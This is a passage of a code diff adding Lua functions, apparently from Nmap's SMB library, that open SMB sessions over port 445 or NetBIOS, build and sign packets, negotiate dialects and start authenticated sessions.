+ return false, "SMB: Couldn't find a valid port to check"
+ end
+
+ -- Initialize the accounts for logging on
+ smbauth.init_account(host)
+
+ if(port ~= 139) then
+ status, state['socket'] = start_raw(host, port)
+ state['port'] = port
+
+ if(status == false) then
+ return false, state['socket']
+ end
+ return true, state
+
+ else
+ status, state['socket'] = start_netbios(host, port)
+ state['port'] = port
+ if(status == false) then
+ return false, state['socket']
+ end
+ return true, state
+
+ end
+
+ return false, "SMB: Couldn't find a valid port to check"
+end
+
+---Initiates a SMB connection over whichever port it can, then optionally sends
+-- the common initialization packets.
+--
+-- Note that each packet depends on the previous one, so if you want to go all
+-- the way up to create_file, you have to set all parameters.
+--
+-- If anything fails, we back out of the connection and return an error, so the
+-- calling function doesn't have to call smb.stop().
+--
+--@param host The host object.
+--@param bool_negotiate_protocol [optional] If 'true', send the protocol
+-- negotiation. Default: false.
+--@param bool_start_session [optional] If 'true', start the session. Default:
+-- false.
+--@param str_tree_connect [optional] The tree to connect to, if given (eg.
+-- "IPC$" or "C$"). If not given, packet isn't sent.
+--@param str_create_file [optional] The path and name of the file (or pipe)
+-- that's created, if given. If not given, packet isn't
+-- sent.
+--@param overrides [optional] A table of overrides (for, for example, username,
+-- password, etc.) to pass to all functions.
+--@param bool_disable_extended [optional] If set to true, disables extended
+-- security negotiations.
+function start_ex(host, bool_negotiate_protocol, bool_start_session, str_tree_connect, str_create_file, bool_disable_extended, overrides)
+ local smbstate
+ local status, err
+
+ -- Make sure we have overrides
+ overrides = overrides or {}
+
+ -- Begin the SMB session
+ status, smbstate = start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Disable extended security if it was requested
+ if(bool_disable_extended == true) then
+ disable_extended(smbstate)
+ end
+
+ if(bool_negotiate_protocol == true) then
+ -- Negotiate the protocol
+ status, err = negotiate_protocol(smbstate, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ if(bool_start_session == true) then
+ -- Start up a session
+ status, err = start_session(smbstate, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ if(str_tree_connect ~= nil) then
+ -- Connect to share
+ status, err = tree_connect(smbstate, str_tree_connect, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ if(str_create_file ~= nil) then
+ -- Try to connect to requested pipe
+ status, err = create_file(smbstate, str_create_file, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+ end
+ end
+ end
+ end
+
+ -- Return everything
+ return true, smbstate
+end
+
+--- Kills the SMB connection and closes the socket.
+--
+-- In addition to killing the connection, this function will log off the user and disconnect
+-- the connected tree, if possible.
+--
+--@param smb The SMB object associated with the connection
+--@return (status, result) If status is false, result is an error message. Otherwise, result
+-- is undefined.
+function stop(smb)
+
+ if(smb['tid'] ~= 0) then
+ tree_disconnect(smb)
+ end
+
+ if(smb['uid'] ~= 0) then
+ logoff(smb)
+ end
+
+ stdnse.debug2("SMB: Closing socket")
+ if(smb['socket'] ~= nil) then
+ local status, err = smb['socket']:close()
+
+ if(status == false) then
+ return false, "SMB: Failed to close socket: " .. err
+ end
+ end
+
+ return true
+end
+
+--- Begins a raw SMB session, likely over port 445. Since nothing extra is required, this
+-- function simply makes a connection and returns the socket.
+--
+--@param host The host object to check.
+--@param port The port to use (most likely 445).
+--@return (status, socket) if status is true, result is the newly created socket.
+-- Otherwise, socket is the error message.
+function start_raw(host, port)
+ local status, err
+ local socket = nmap.new_socket()
+
+ socket:set_timeout(TIMEOUT)
+ status, err = socket:connect(host, port, "tcp")
+
+ if(status == false) then
+ return false, "SMB: Failed to connect to host: " .. err
+ end
+
+ return true, socket
+end
+
+--- This function will take a string like "a.b.c.d" and return "a", "a.b", "a.b.c", and "a.b.c.d".
+--
+-- This is used for discovering NetBIOS names. If a NetBIOS name is unknown, the substrings of the
+-- DNS name can be used in this way.
+--
+--@param name The name to take apart
+--@return An array of the sub names
+local function get_subnames(name)
+ local i = -1
+ local list = {}
+
+ repeat
+ local subname = name
+
+ i = string.find(name, "[.]", i + 1)
+ if(i ~= nil) then
+ subname = string.sub(name, 1, i - 1)
+ end
+
+ list[#list + 1] = string.upper(subname)
+
+ until i == nil
+
+ return list
+end
+
+--- Begins a SMB session over NetBIOS.
+--
+-- This requires a NetBIOS Session Start message to be sent first, which in
+-- turn requires the NetBIOS name. The name can be provided as a parameter, or
+-- it can be automatically determined.
+--
+-- Automatically determining the name is interesting, to say the least. Here
+-- are the names it tries, and the order it tries them in:
+-- * The name the user provided, if present
+-- * The name pulled from NetBIOS (udp/137), if possible
+-- * The generic name "*SMBSERVER"
+-- * Each subset of the domain name (for example, scanme.insecure.org would
+-- attempt "scanme", "scanme.insecure", and "scanme.insecure.org")
+--
+-- This whole sequence is a little hackish, but it's the standard way of doing
+-- it.
+--
+--@param host The host object to check.
+--@param port The port to use (most likely 139).
+--@param name [optional] The NetBIOS name of the host. Will attempt to
+-- automatically determine if it isn't given.
+--@return (status, socket) if status is true, result is the port
+-- Otherwise, socket is the error message.
+function start_netbios(host, port, name)
+ local i
+ local status, err
+ local pos, result, flags, length
+ local socket = nmap.new_socket()
+
+ -- First, populate the name array with all possible names, in order of significance
+ local names = {}
+
+ -- Use the name parameter
+ if(name ~= nil) then
+ names[#names + 1] = name
+ end
+
+ -- Get the name of the server from NetBIOS
+ status, name = netbios.get_server_name(host.ip)
+ if(status == true) then
+ names[#names + 1] = name
+ end
+
+ -- "*SMBSERVER" is a special name that any server should respond to
+ names[#names + 1] = "*SMBSERVER"
+
+ -- If all else fails, use each substring of the DNS name (this is a HUGE hack, but is actually
+ -- a recommended way of doing this!)
+ if(host.name ~= nil and host.name ~= "") then
+ local new_names = get_subnames(host.name)
+ for i = 1, #new_names, 1 do
+ names[#names + 1] = new_names[i]
+ end
+ end
+
+ -- This loop will try all the NetBIOS names we've collected, hoping one of them will work. Yes,
+ -- this is a hackish way, but it's actually the recommended way.
+ i = 1
+ repeat
+
+ -- Use the current name
+ name = names[i]
+
+ -- Some debug information
+ stdnse.debug1("SMB: Trying to start NetBIOS session with name = '%s'", name)
+ -- Request a NetBIOS session
+ local session_request = string.pack(">BBI2zz",
+ 0x81, -- session request
+ 0x00, -- flags
+ 0x44, -- length
+ netbios.name_encode(name), -- server name
+ netbios.name_encode("NMAP") -- client name
+ );
+
+ stdnse.debug3("SMB: Connecting to %s", host.ip)
+ socket:set_timeout(TIMEOUT)
+ status, err = socket:connect(host, port, "tcp")
+ if(status == false) then
+ socket:close()
+ return false, "SMB: Failed to connect: " .. err
+ end
+
+ -- Send the session request
+ stdnse.debug3("SMB: Sending NetBIOS session request with name %s", name)
+ status, err = socket:send(session_request)
+ if(status == false) then
+ socket:close()
+ return false, "SMB: Failed to send: " .. err
+ end
+ socket:set_timeout(TIMEOUT)
+
+ -- Receive the session response
+ stdnse.debug3("SMB: Receiving NetBIOS session response")
+ status, result = socket:receive_buf(match.numbytes(4), true);
+ if(status == false) then
+ socket:close()
+ return false, "SMB: Failed to close socket: " .. result
+ end
+ result, flags, length, pos = string.unpack(">BBI2", result)
+
+ -- Check for a positive session response (0x82)
+ if result == 0x82 then
+ stdnse.debug3("SMB: Successfully established NetBIOS session with server name %s", name)
+ return true, socket
+ end
+
+ -- If the session failed, close the socket and try the next name
+ stdnse.debug1("SMB: Session request failed, trying next name")
+ socket:close()
+
+ -- Try the next name
+ i = i + 1
+
+ until i > #names
+
+ -- We reached the end of our names list
+ stdnse.debug1("SMB: None of the NetBIOS names worked!")
+ return false, "SMB: Couldn't find a NetBIOS name that works for the server. Sorry!"
+end
+
+--- Creates a string containing a SMB packet header. The header looks like this:
+--
+--<code>
+-- --------------------------------------------------------------------------------------------------
+-- | 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 |
+-- --------------------------------------------------------------------------------------------------
+-- | 0xFF | 'S' | 'M' | 'B' |
+-- --------------------------------------------------------------------------------------------------
+-- | Command | Status... |
+-- --------------------------------------------------------------------------------------------------
+-- | ...Status | Flags | Flags2 |
+-- --------------------------------------------------------------------------------------------------
+-- | PID_high | Signature..... |
+-- --------------------------------------------------------------------------------------------------
+-- | ....Signature.... |
+-- --------------------------------------------------------------------------------------------------
+-- | ....Signature | Unused |
+-- --------------------------------------------------------------------------------------------------
+-- | TID | PID |
+-- --------------------------------------------------------------------------------------------------
+-- | UID | MID |
+-- -------------------------------------------------------------------------------------------------
+--</code>
+--
+-- All fields are, incidentally, encoded in little endian byte order.
+--
+-- For the purposes here, the program doesn't care about most of the fields so they're given default
+-- values. The "command" field is the only one we ever have to set manually, in my experience. The TID
+-- and UID need to be set, but those are stored in the smb state and don't require user intervention.
+--
+--@param smb The smb state table.
+--@param command The command to use.
+--@param overrides The overrides table. Keep in mind that overriding things like flags is generally a very bad idea, unless you know what you're doing.
+--@return A binary string containing the packed packet header.
+function smb_encode_header(smb, command, overrides)
+ -- Make sure we have an overrides array
+ overrides = overrides or {}
+
+ -- Used for the header
+ local sig = "\xFFSMB"
+
+ -- Pretty much every flags is deprecated. We set these two because they're required to be on.
+ local flags = (0x10 | 0x08) -- SMB_FLAGS_CANONICAL_PATHNAMES | SMB_FLAGS_CASELESS_PATHNAMES
+ -- These flags are less deprecated. We negotiate 32-bit status codes and long names. We also don't include Unicode, which tells
+ -- the server that we deal in ASCII.
+ local flags2 = (0x4000 | 0x2000 | 0x0040 | 0x0001) -- SMB_FLAGS2_32BIT_STATUS | SMB_FLAGS2_EXECUTE_ONLY_READS | SMB_FLAGS2_IS_LONG_NAME | SMB_FLAGS2_KNOWS_LONG_NAMES
+
+ -- Unless the user's disabled the security signature, add it
+ if(nmap.registry.args.smbsign ~= "disable") then
+ flags2 = (flags2 | 0x0004) -- SMB_FLAGS2_SECURITY_SIGNATURE
+ end
+
+
+ if(smb['extended_security'] == true) then
+ flags2 = (flags2 | 0x0800) -- SMB_EXTENDED_SECURITY
+ end
+
+ -- TreeID should never ever be 'nil', but it seems to happen once in awhile so print an error
+ if(smb['tid'] == nil) then
+ return false, string.format("SMB: ERROR: TreeID value was set to nil on host %s", smb['ip'])
+ end
+
+ local header = string.pack("<BBBBB I4 B I2 I2 I8 I2 I2 I2 I2 I2",
+ sig:byte(1), -- Header
+ sig:byte(2), -- Header
+ sig:byte(3), -- Header
+ sig:byte(4), -- Header
+ command, -- Command
+ (overrides['status'] or 0), -- status
+ (overrides['flags'] or flags), -- flags
+ (overrides['flags2'] or flags2), -- flags2
+ (overrides['pid_high'] or 0), -- extra (pid_high)
+ (overrides['signature'] or 0), -- extra (signature)
+ (overrides['extra'] or 0), -- extra (unused)
+ (overrides['tid'] or smb['tid']), -- tid
+ (overrides['pid'] or smb['pid']), -- pid
+ (overrides['uid'] or smb['uid']), -- uid
+ (overrides['mid'] or smb['mid']) -- mid
+ )
+
+ return header
+end
+
+--- Converts a string containing the parameters section into the encoded
+-- parameters string.
+--
+-- The encoding is simple:
+-- * (1 byte) The number of 2-byte values in the parameters section
+-- * (variable) The parameter section
+-- This is automatically done by <code>smb_send</code>.
+--
+-- @param parameters The parameters section.
+-- @param overrides The overrides table. The only thing possible to override here is the length.
+-- @return The encoded parameters.
+local function smb_encode_parameters(parameters, overrides)
+ -- Make sure we have an overrides array
+ overrides = overrides or {}
+
+ return string.pack("<B", overrides['parameters_length'] or (#parameters / 2)) .. parameters
+end
+
+--- Converts a string containing the data section into the encoded data string.
+--
+-- The encoding is simple:
+-- * (2 bytes) The number of bytes in the data section
+-- * (variable) The data section
+-- This is automatically done by <code>smb_send</code>.
+--
+-- @param data The data section.
+-- @param overrides The overrides table. The only thing possible to override here is the length.
+-- @return The encoded data.
+local function smb_encode_data(data, overrides)
+ -- Make sure we have an overrides array
+ overrides = overrides or {}
+
+ return string.pack("<I2", overrides['data_length'] or #data) .. data
+end
+
+---Sign the message, if possible. This is done by replacing the signature with the sequence
+-- number, creating a hash, then putting that hash in the signature location.
+--@param smb The smb state object.
+--@param body The body of the packet that's being signed.
+--@return The body of the packet, with the signature in place.
+local function message_sign(smb, body)
+ smb['sequence'] = smb['sequence'] + 1
+
+ if(smb['mac_key'] == nil) then
+ stdnse.debug3("SMB: Not signing message (missing mac_key)")
+ return body
+ elseif(nmap.registry.args.smbsign == "disable") then
+ stdnse.debug3("SMB: Not signing message (disabled by user)")
+
+ return body
+ end
+
+ -- Convert the sequence number to a string
+ local sequence = string.pack("<I8", smb['sequence'])
+ -- Create a new string, with the sequence number in place
+ local new_packet = string.sub(body, 1, 14) .. sequence .. string.sub(body, 23)
+ -- Calculate the signature
+ local signature = smbauth.calculate_signature(smb['mac_key'], new_packet)
+
+ return string.sub(body, 1, 14) .. signature .. string.sub(body, 23)
+end
+
+---Check the signature of the message.
+--
+-- This is the opposite of <code>message_sign</code>, and works the same way
+-- (replaces the signature with the sequence number, calculates hash, checks)
+--@param smb The smb state object.
+--@param body The body of the packet that's being checked.
+--@return A true/false value -- true if the packet was signed properly, false if it wasn't.
+local function message_check_signature(smb, body)
+ smb['sequence'] = smb['sequence'] + 1
+
+ if(smb['mac_key'] == nil) then
+ stdnse.debug3("SMB: Not signing message (missing mac_key)")
+ return true
+ elseif(nmap.registry.args.smbsign ~= "force" and (smb['security_mode'] & 0x0A) ~= 0) then
+ stdnse.debug3("SMB: Not signing message (server doesn't support it -- default)")
+ return true
+ elseif(nmap.registry.args.smbsign == "disable" or nmap.registry.args.smbsign == "ignore") then
+ stdnse.debug3("SMB: Not signing message (disabled by user)")
+ return true
+ end
+
+ -- Pull out the signature that they used
+ local signature = string.sub(body, 15, 22)
+
+ -- Turn the sequence into a string
+ local sequence = string.pack("<I8", smb['sequence'])
+ -- Create a new string, with the sequence number in place
+ local new_packet = string.sub(body, 1, 14) .. sequence .. string.sub(body, 23)
+
+ -- Calculate the proper signature
+ local real_signature = smbauth.calculate_signature(smb['mac_key'], new_packet)
+
+ -- Validate the signature
+ return signature == real_signature
+end
+
+--- Prepends the NetBIOS header to the packet, which is essentially the length, encoded
+-- in 4 bytes of big endian, and sends it out.
+--
+-- The length field is actually 17 or 24 bits wide, depending on whether or
+-- not we're using raw, but that shouldn't matter.
+--
+--@param smb The SMB object associated with the connection
+--@param header The header, encoded with <code>smb_get_header</code>.
+--@param parameters The parameters.
+--@param data The data.
+--@param overrides Overrides table.
+--@return (result, err) If result is false, err is the error message. Otherwise, err is
+-- undefined
+function smb_send(smb, header, parameters, data, overrides)
+ overrides = overrides or {}
+
+ local encoded_parameters = smb_encode_parameters(parameters, overrides)
+ local encoded_data = smb_encode_data(data, overrides)
+ local body = header .. encoded_parameters .. encoded_data
+ local status, err
+
+ -- Calculate the message signature
+ body = message_sign(smb, body)
+
+ local out = string.pack(">s4", body)
+
+
+ stdnse.debug3("SMB: Sending SMB packet (len: %d)", #out)
+ status, err = smb['socket']:send(out)
+
+ if not status then
+ stdnse.debug1("SMB: Sending packet failed.")
+ end
+
+ return status, err
+end
+
+--- Reads the next packet from the socket, and parses it into the header, parameters,
+-- and data.
+--
+--@param smb The SMB object associated with the connection
+--@param read_data [optional] This function will read the data section if and only if
+-- this value is true. This is a workaround for a bug in the tree connect packet,
+-- where the length is set incorrectly. Default: true.
+--@return (status, header, parameters, data) If status is true, the header,
+-- parameters, and data are all the raw arrays (with the lengths already
+-- removed). If status is false, header contains an error message and parameters/
+-- data are undefined.
+function smb_read(smb, read_data)
+ local pos, netbios_data, netbios_length, length, header, parameter_length, parameters, data_length, data
+
+ stdnse.debug3("SMB: Receiving SMB packet")
+
+ -- Receive the response -- we make sure to receive at least 4 bytes, the length of the NetBIOS length
+ smb['socket']:set_timeout(TIMEOUT)
+
+ -- attempt to read the Netbios header
+ local status, netbios_data = smb['socket']:receive_buf(match.numbytes(4), true);
+
+ -- Make sure the connection is still alive
+ if not status then
+ return false, "SMB: Failed to receive bytes: " .. netbios_data
+ end
+
+ -- The length of the packet is 4 bytes of big endian (for our purposes).
+ -- The NetBIOS header is 24 bits, big endian
+ netbios_length, pos = string.unpack(">I4", netbios_data)
+ -- Make the length 24 bits
+ netbios_length = (netbios_length & 0x00FFFFFF)
+
+ -- The total length is the netbios_length, plus 4 (for the length itself)
+ length = netbios_length + 4
+
+ local status, smb_data = smb['socket']:receive_buf(match.numbytes(netbios_length), true)
+
+ -- Make sure the connection is still alive
+ if not status then
+ return false, "SMB: Failed to receive bytes: " .. smb_data
+ end
+
+ local result = netbios_data .. smb_data
+ if(#result ~= length) then
+ stdnse.debug1("SMB: ERROR: Received wrong number of bytes, there will likely be issues (received %d, expected %d)", #result, length)
+ return false, string.format("SMB: ERROR: Didn't receive the expected number of bytes; received %d, expected %d. This will almost certainly cause some errors.", #result, length)
+ end
+
+ -- Check the message signature (ignoring the first four bytes, which are the netbios header)
+ local good_signature = message_check_signature(smb, string.sub(result, 5))
+ if(good_signature == false) then
+ return false, "SMB: ERROR: Server returned invalid signature"
+ end
+
+ local header_format = "<c32 B"
+ if (#result - pos + 1) < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than needed for header"
+ end
+ header, parameter_length, pos = string.unpack("<c32 B", result, pos)
+
+ -- Double the length parameter, since parameters are two-byte values.
+ if (length - pos + 1) < (parameter_length * 2) then
+ return false, "SMB: ERROR: parameter_length greater than response length"
+ end
+ parameters, pos = string.unpack(("<c%d"):format(parameter_length*2), result, pos)
+
+ -- The data length is a 2-byte value.
+ data_length, pos = string.unpack("<I2", result, pos)
+
+ -- Read that many bytes of data.
+ if(read_data == nil or read_data == true) then
+ if (length - pos + 1) < data_length then
+ return false, "SMB: ERROR: data_length greater than response length"
+ end
+ data = string.unpack("c" .. data_length, result, pos)
+ else
+ data = nil
+ end
+
+ stdnse.debug3("SMB: Received %d bytes", #result)
+ return true, header, parameters, data
+end
+
+---
+-- Negotiates SMBv1 connections
+--
+-- Sends the following:
+-- * List of known protocols
+--
+-- This function adds to <code>smb</code>:
+-- * 'security_mode' Whether or not to use cleartext passwords, message signatures, etc.
+-- * 'max_mpx' Maximum number of multiplexed connections
+-- * 'max_vc' Maximum number of virtual circuits
+-- * 'max_buffer' Maximum buffer size
+-- * 'max_raw_buffer' Maximum buffer size for raw connections (considered obsolete)
+-- * 'session_key' A value that's basically just echoed back
+-- * 'capabilities' The server's capabilities
+-- * 'time' The server's time (in UNIX-style seconds since 1970)
+-- * 'date' The server's date in a user-readable format
+-- * 'timezone' The server's timezone, in hours from UTC
+-- * 'timezone_str' The server's timezone, as a string
+-- * 'server_challenge' A random string used for challenge/response
+-- * 'domain' The server's primary domain or workgroup
+-- * 'server' The server's name
+--
+-- @param smb The SMB object associated with the connection.
+-- @param overrides Overrides table.
+-- @return Boolean status
+-- @return The negotiated dialect in human readable form or an error message.
+---
+function negotiate_v1(smb, overrides)
+ local header = smb_encode_header(smb, command_codes['SMB_COM_NEGOTIATE'], overrides)
+ -- Make sure we have overrides
+ overrides = overrides or {}
+
+ -- Parameters are blank
+ local parameters = ""
+ local data = string.pack("<BzBz", 2, (overrides['dialect'] or "NT LM 0.12"), 2, "")
+
+ -- Send the negotiate request
+ stdnse.debug2("SMB: Sending SMB_COM_NEGOTIATE")
+ local result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+ -- Read the result
+ local status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ -- Check if we fell off the packet
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+
+ -- Parse out the header
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ -- Get the protocol version
+ if(protocol_version == ("\xFESMB")) then
+ return false, "SMB: Server returned a SMBv2 packet, don't know how to handle"
+ end
+
+ -- Since this is the first response seen, check any necessary flags here
+ if((flags2 & 0x0800) ~= 0x0800) then
+ smb['extended_security'] = false
+ end
+
+ -- Parse the parameter section
+ local dialect_format = "<I2"
+ local parameters_format = "<BI2 I2 I4 I4 I4 I4"
+ if #parameters < (string.packsize(dialect_format) + string.packsize(parameters_format)) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]"
+ end
+ smb['dialect'], pos = string.unpack(dialect_format, parameters)
+
+ -- Check if the server didn't like our requested protocol
+ if(smb['dialect'] ~= 0) then
+ stdnse.debug2("Server negotiated an unknown protocol (#%d) -- aborting", smb['dialect'])
+ return false, string.format("Server negotiated an unknown protocol (#%d) -- aborting", smb['dialect'])
+ end
+
+ smb.security_mode, smb.max_mpx, smb.max_vc, smb.max_buffer, smb.max_raw_buffer, smb.session_key, smb.capabilities, pos = string.unpack(parameters_format, parameters, pos)
+ -- Some broken implementations of SMB don't send these variables
+ smb.time = 0
+ smb.timezone = 0
+ smb.key_length = 0
+ smb.byte_count = 0
+ if (#parameters - pos + 1) >= 8 then
+ smb.time, pos = string.unpack("<I8", parameters, pos)
+ if (#parameters - pos + 1) >= 2 then
+ smb.timezone, pos = string.unpack("<i2", parameters, pos)
+ if (#parameters - pos + 1) >= 1 then
+ smb.key_length, pos = string.unpack("B", parameters, pos)
+ if (#parameters - pos + 1) >= 2 then
+ smb.byte_count, pos = string.unpack("<I2", parameters, pos)
+ end
+ end
+ end
+ end
+
+ -- Convert the time and timezone to more useful values
+ smb['time'] = (smb['time'] // 10000000) - 11644473600
+ smb['date'] = datetime.format_timestamp(smb['time'])
+ smb['timezone'] = -(smb['timezone'] / 60)
+ if(smb['timezone'] == 0) then
+ smb['timezone_str'] = "UTC+0"
+ elseif(smb['timezone'] < 0) then
+ smb['timezone_str'] = "UTC-" .. math.abs(smb['timezone'])
+ else
+ smb['timezone_str'] = "UTC+" .. smb['timezone']
+ end
+
+ -- Data section
+ if(smb['extended_security'] == true) then
+ if #data < 16 then
+ return false, "SMB: ERROR: not enough data for extended security"
+ end
+ smb.server_guid, pos = string.unpack("<c16", data)
+
+ -- do we have a security blob?
+ if ( #data - pos + 1 > 0 ) then
+ smb.security_blob = data:sub(pos)
+ pos = #data + 1
+ end
+ else
+ if #data < smb.key_length then
+ return false, "SMB: ERROR: not enough data for server_challenge"
+ end
+ smb.server_challenge, pos = string.unpack(string.format("<c%d", smb['key_length']), data)
+
+ -- Get the (null-terminated) domain as a Unicode string
+ smb['domain'] = ""
+ smb['server'] = ""
+
+ local remainder = unicode.utf16to8(string.sub(data, pos))
+ pos, pos = string.find(remainder, "\0", 1, true)
+ if pos == nil then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]"
+ end
+ smb['domain'] = string.sub(remainder, 1, pos)
+
+ -- Get the server name as a Unicode string
+ -- Note: This can be nil, Samba leaves this off
+ local pos2 = pos + 1
+ pos, pos = string.find(remainder, "\0", pos2, true)
+ if pos ~= nil then
+ smb['server'] = string.sub(remainder, pos2, pos)
+ end
+ end
+
+ stdnse.debug2("SMB_COM_NEGOTIATE got status:%s", status)
+ if status == 0 then
+ return true, overrides['dialect'] or "NT LM 0.12"
+ end
+end
+
+---
+-- Wrapper function to negotiate the protocol to use in the SMB connection.
+-- By default it attempts to negotiate with using following dialects:
+-- * NT LM 12.0 (SMBv1)
+-- @param smb The SMB object
+-- @param overrides Overrides table
+-- @return Boolean status
+---
+function negotiate_protocol(smb, overrides)
+ local status, dialect
+ status, dialect = negotiate_v1(smb, overrides)
+ if status then
+ return true
+ else
+ stdnse.debug1("Couldn't negotiate a SMBv1 connection:%s", dialect)
+ return false, string.format("Could not negotiate a connection:%s", dialect)
+ end
+end
+
+---
+-- Returns list of supported dialects for SMBv1, SMBv2 and SMBv3.
+-- @param host The SMB host to connect to.
+-- @param overrides [optional] Overrides for various fields.
+-- @return Boolean status
+-- @return Table of supported dialects or error message
+---
+function list_dialects(host, overrides)
+ local supported_dialects = {}
+ local status, smb1_dialect
+ local smbstate
+
+ overrides = tableaux.tcopy(overrides or {})
+
+ -- Check for SMBv1 first
+ stdnse.debug2("Checking if SMBv1 is supported")
+ status, smbstate = start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ status, smb1_dialect = negotiate_v1(smbstate, overrides)
+ if status then --Add SMBv1 as a dialect
+ table.insert(supported_dialects, smb1_dialect)
+ end
+ stop(smbstate) -- Finish SMBv1 and close connection
+
+ status, smbstate = start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+ stdnse.debug2("Checking if SMB 2+ is supported in general")
+ overrides['Dialects'] = nil
+ local max_dialect
+ status, max_dialect = smb2.negotiate_v2(smbstate, overrides)
+ stop(smbstate)
+ if not status then -- None of SMB2 dialects accepted by the target
+ return true, supported_dialects
+ end
+ stdnse.debug2("SMB2: Dialect '%s' is the highest supported", smb2.dialect_name(max_dialect))
+
+ -- Check individual SMB2 and SMB3 dialects
+ for i, dialect in pairs(smb2.dialects()) do
+ if dialect == max_dialect then
+ break
+ end
+ local dialect_name = smb2.dialect_name(dialect)
+ -- we need a clean connection for each negotiate request
+ status, smbstate = start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+ stdnse.debug2("SMB2: Checking if dialect '%s' is supported", dialect_name)
+ overrides['Dialects'] = {dialect}
+ status = smb2.negotiate_v2(smbstate, overrides)
+ --clean smb connection
+ stop(smbstate)
+ if status then
+ stdnse.debug2("SMB2: Dialect '%s' is supported", dialect_name)
+ table.insert(supported_dialects, dialect_name)
+ end
+ end
+ table.insert(supported_dialects, smb2.dialect_name(max_dialect))
+
+ return true, supported_dialects
+end
+
+--- This is an internal function and should not be called externally. Use
+-- the start_session() function instead.
+local function start_session_basic(smb, log_errors, overrides)
+ local i, err
+ local status, result
+ local header, parameters, data, domain
+ local andx_command, andx_reserved, andx_offset, action
+ local os, lanmanager
+ local username, domain, password, password_hash, hash_type
+ local busy_count = 0
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_SESSION_SETUP_ANDX'], overrides)
+
+ -- Get the first account, unless they overrode it
+ if(overrides ~= nil and overrides['username'] ~= nil) then
+ result = true
+ username = overrides['username']
+ domain = overrides['domain']
+ password = overrides['password']
+ password_hash = overrides['password_hash']
+ hash_type = overrides['hash_type']
+ else
+ result, username, domain, password, password_hash, hash_type = smbauth.get_account(smb['host'])
+ end
+
+ while result ~= false do
+ local lanman, ntlm
+
+ lanman, ntlm, smb['mac_key'] = smbauth.get_password_response(smb['ip'], username, domain, password, password_hash, hash_type, smb['server_challenge'], false)
+
+ -- Parameters
+ parameters = string.pack("<BBI2 I2I2 I2 I4 I2I2 I4I4",
+ 0xFF, -- ANDX -- no further commands
+ 0x00, -- ANDX -- Reserved (0)
+ 0x0000, -- ANDX -- next offset
+ 0xFFFF, -- Max buffer size
+ 0x0001, -- Max multiplexes
+ 0x0001, -- Virtual circuit num
+ smb['session_key'], -- The session key
+ #lanman, -- ANSI/Lanman password length
+ #ntlm, -- Unicode/NTLM password length
+ 0x00000000, -- Reserved
+ 0x00000050 -- Capabilities
+ )
+
+ -- Data is a list of strings, terminated by a blank one.
+ data = lanman -- ANSI/Lanman password
+ .. ntlm -- Unicode/NTLM password
+ .. string.pack("<zzzz",
+ username, -- Account
+ domain, -- Domain
+ "Nmap", -- OS
+ "Native Lanman" -- Native LAN Manager
+ )
+
+ -- Send the session setup request
+ stdnse.debug2("SMB: Sending SMB_COM_SESSION_SETUP_ANDX")
+ result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [17]"
+ end
+ -- Check if we were allowed in
+ local protocol_version, command, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos
+ protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ -- Check if we're successful
+ if(status == 0) then
+
+ -- Parse the parameters
+ local parameters_format = "<BB I2 I2"
+ if #parameters < string.packsize(parameters_format) then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ andx_command, andx_reserved, andx_offset, action, pos = string.unpack(parameters_format, parameters)
+
+ -- Parse the data
+ status, os, lanmanager, domain, pos = pcall(string.unpack, "<zzz", data)
+ if not status then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [19]"
+ end
+
+ -- Fill in the smb object and smb string
+ smb['uid'] = uid
+ smb['is_guest'] = (action & 1)
+ smb['os'] = os
+ smb['lanmanager'] = lanmanager
+
+ -- Check if they're using an un-supported system
+ if(os == "" or lanmanager == "" or domain == "") then
+ stdnse.debug1("SMB: WARNING: the server is using a non-standard SMB implementation; your mileage may vary (%s)", smb['ip'])
+ elseif(os == "Unix" or string.sub(lanmanager, 1, 5) == "Samba") then
+ stdnse.debug1("SMB: WARNING: the server appears to be Unix; your mileage may vary.")
+ end
+
+ -- Check if they were logged in as a guest
+ if(log_errors == nil or log_errors == true) then
+ if(smb['is_guest'] == 1) then
+ stdnse.debug1("SMB: Login as %s\\%s failed, but was given guest access (username may be wrong, or system may only allow guest)", domain, stdnse.string_or_blank(username))
+ else
+ stdnse.debug2("SMB: Login as %s\\%s succeeded", domain, stdnse.string_or_blank(username))
+ end
+ end
+
+ -- Set the initial sequence number
+ smb['sequence'] = 1
+
+ return true
+
+ else
+ -- Check if we got the error NT_STATUS_REQUEST_NOT_ACCEPTED
+ if(status == 0xc00000d0) then
+ busy_count = busy_count + 1
+
